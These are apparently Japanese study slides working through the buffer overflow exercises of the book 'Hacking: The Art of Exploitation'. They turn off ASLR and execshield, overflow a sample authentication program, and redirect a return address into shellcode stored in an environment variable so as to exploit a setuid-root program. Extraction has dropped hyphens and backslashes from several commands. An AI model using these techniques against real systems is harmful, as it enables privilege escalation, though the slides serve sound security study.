0x300
- 1. 0x300 ハックする前の準備
● サンプルを用意する
● http://www.oreilly.co.jp/books/9784873115146/
● execsheeld を無効にする
● echo 0 >/proc/sys/kernel/execshield
● ASLR を無効にする
● echo 0 >/proc/sys/kernel/randomize_va_space
- 2. 0x320 バッフアオーバーフロー
● $gcc g fnostackprotector o auth_overflow
auth_overflow.c
● $./auth_overflow `ruby e 'print "A"*20'``
=============
アクセスを許可します。
=============
- 3. 0x320 バッフアオーバーフロー
● $gcc g fnostackprotector o auth_overflow2
auth_overflow2.c
● $./auth_overflow2 `ruby e 'print "A"*20'`
=============
アクセスを許可します。
=============
通るんだけど?
- 4. 0x320 実際に見てみた
(gdb) x/x password_buffer
0xbffff21c: 0x41414141
(gdb) x/x &auth_flag
0xbffff22c: 0x41414141
変数の宣言を入れ替えても password_buffer
のアドレスが &auth_flag のアドレスより低位
に存在する。
- 5. 0x330 bash を用いた実験
● $./auth_overflow2
● (gdb) disas main
...
0x08048559 <+69>:movl $0x804868a,(%esp)
0x08048560 <+76>:call 0x80483cc <puts@plt>
0x08048565 <+81>:movl $0x80486a8,(%esp)
...
● (gdb) b 16
● (gdb) r $(perl e 'print"x60x85x04x08" x10')
● (gdb) x/x $ebp
0xbffff228: 0x08048560
- 6. 0x330 bash を用いた実験
● 出力結果
● (gdb) c
Continuing.
�g����$���[����$�O����
͆
�$���A����Ð��U��]Ít&
アクセスを許可します。
=============
● フレームポインタの上書きに成功している?
- 7. notesearch に対する脆弱性攻撃
● 目的は root へ setuid したプログラムを攻撃する
● スタック上にアセンブラコードを展開し、そ
こへジャンプさせることで任意のコードが実
行できる。
- 8. exploit_notesearch
実行時のスタックの様子
● 戻りアドレスはローカル
変数がスタックに積まれ
た時の仮想アドレスを基
にして生成されている。
● 0x90 は NOP 命令
- 9. 0x331 環境変数を使用する
● 環境変数てなに?
● シェルに用いられる最初から定義されている変
数
例 ) $HOME $PATH $USER 等
printenv で確認できる。
● 変数を書き換える (bash の場合 )
● $export HOGE=foo
● $echo $HOGE
foo
- 10. バイナリデータを変数に設定する
● $export SHELLCODE=$(perl e 'print "x90"x200')
(cat shellcode.bin)
● $echo $SHELLCODE
● スタックの底の方を GDB で見てみると
SHELLCODE が見える。
● つまり SHELLCODE までジャンプさせること
が出来れば shellcode が実行できるのでは?
- 11. 環境変数の位置を把握する
● getenv() 関数を用いる
● $gcc getenv_example.c
$./a.out SHELLCODE
( アドレスが出力される )
● $./( 任意のプログラム名 ) SHELLCODE
( アドレスがプログラム名によって変化する )
- 12. 環境変数の位置を把握する 2
$gcc getenvaddr.c o getenvaddr
$./getenvaddr SHELCODE ./notesearch
SHELLCODE : 0xbfffff3c
$./notesearch $(per 1 e 'print "¥x3c¥xff¥xff¥xbf"x40')